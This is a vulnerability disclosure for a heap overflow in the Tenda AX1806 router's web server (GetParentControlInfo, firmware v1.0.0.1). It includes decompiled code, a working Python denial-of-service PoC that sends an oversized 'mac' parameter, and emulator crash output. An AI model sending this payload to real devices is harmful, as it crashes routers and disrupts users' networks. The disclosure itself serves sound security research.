Tenda AX1806 GetParentControlInfo function heap overflow

Overview

- The device's official website: https://www.tenda.com.cn/product/AX1806.html
- Firmware download website: https://www.tenda.com.cn/download/detail-3306.html

Affected version

v1.0.0.1

Vulnerability details

/bin/tdhttpd has a heap overflow vulnerability.The vulnerability exists in GetParentControlInfo function, we can through the URL `goform/GetParentControlInfo` access to it.

```
int __fastcall GetParentControlInfo(int a1)
{
  int v2; // r5
  char *v3; // r4
  unsigned __int8 *v4; // r9
  int v5; // r0
  char *v6; // r1
  int v7; // r2
  char *v8; // r10
  __int64 v9; // r0
  int v10; // r0
  int v11; // r0
  __int64 v12; // r0
  int v13; // r0
  int v14; // r0
  int v15; // r0
  int v16; // r0
  __int64 v17; // r0
  int v18; // r0
  int v19; // r5
  const char *src; // [sp+18h] [bp-40h]
  int v22; // [sp+24h] [bp-34h] BYREF
  char s[16]; // [sp+28h] [bp-30h] BYREF

  v2 = cJSON_CreateObject(a1);
  memset(s, 0, sizeof(s));
  v22 = 0;
  src = websGetVar(a1, "mac", (int)&byte_1C2CF0);
  v3 = (char *)malloc(0x254u);
  v4 = (unsigned __int8 *)(v3 + 2);
  memset(v3, 0, 0x254u);
  strcpy(v3 + 2, src);
  if ( sub_5FEFC(0, &v22, v3) == -1 )
  {
    v5 = cJSON_CreateString(v4);
    v6 = "mac";
```

The function takes the POST parameter `mac`, does not verify its length, and copies it directly to the heap memory, resulting in a heap overflow.

PoC

Poc of Denial of Service(DoS)

```
import requests

data = {
    b"mac": b"A"*0x400
}
res = requests.post("http://127.0.0.1/goform/GetParentControlInfo", data=data)
print(res.content)
```

I use qemu-user to emulate it. When I run the POC script, I can see

```
wxy@ubuntu:/mnt/hgfs/Firmware/Tenda/AX1806_qemu/rootfs_ubifs/bin$ sudo ./run.sh


Yes:

      ****** WeLoveLinux******

 ****** Welcome to ******
connect: No such file or directory
func:cfms_mib_proc_handle, line:182 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:182 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:182 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:182 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:182 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:182 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:182 connect cfmd is error.
sh: 1: nvram: not found
km_dns_redirect_del_rule 285 rule_idx:1000
httpd listen ip = 127.0.0.1 port = 80
webs: Listening for HTTP requests at address 127.0.0.1
connect: No such file or directory
func:cfms_mib_proc_handle, line:182 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:182 connect cfmd is error.
connect: No such file or directory
free(): invalid next size (normal)
qemu: uncaught target signal 6 (Aborted) - core dumped
Aborted
```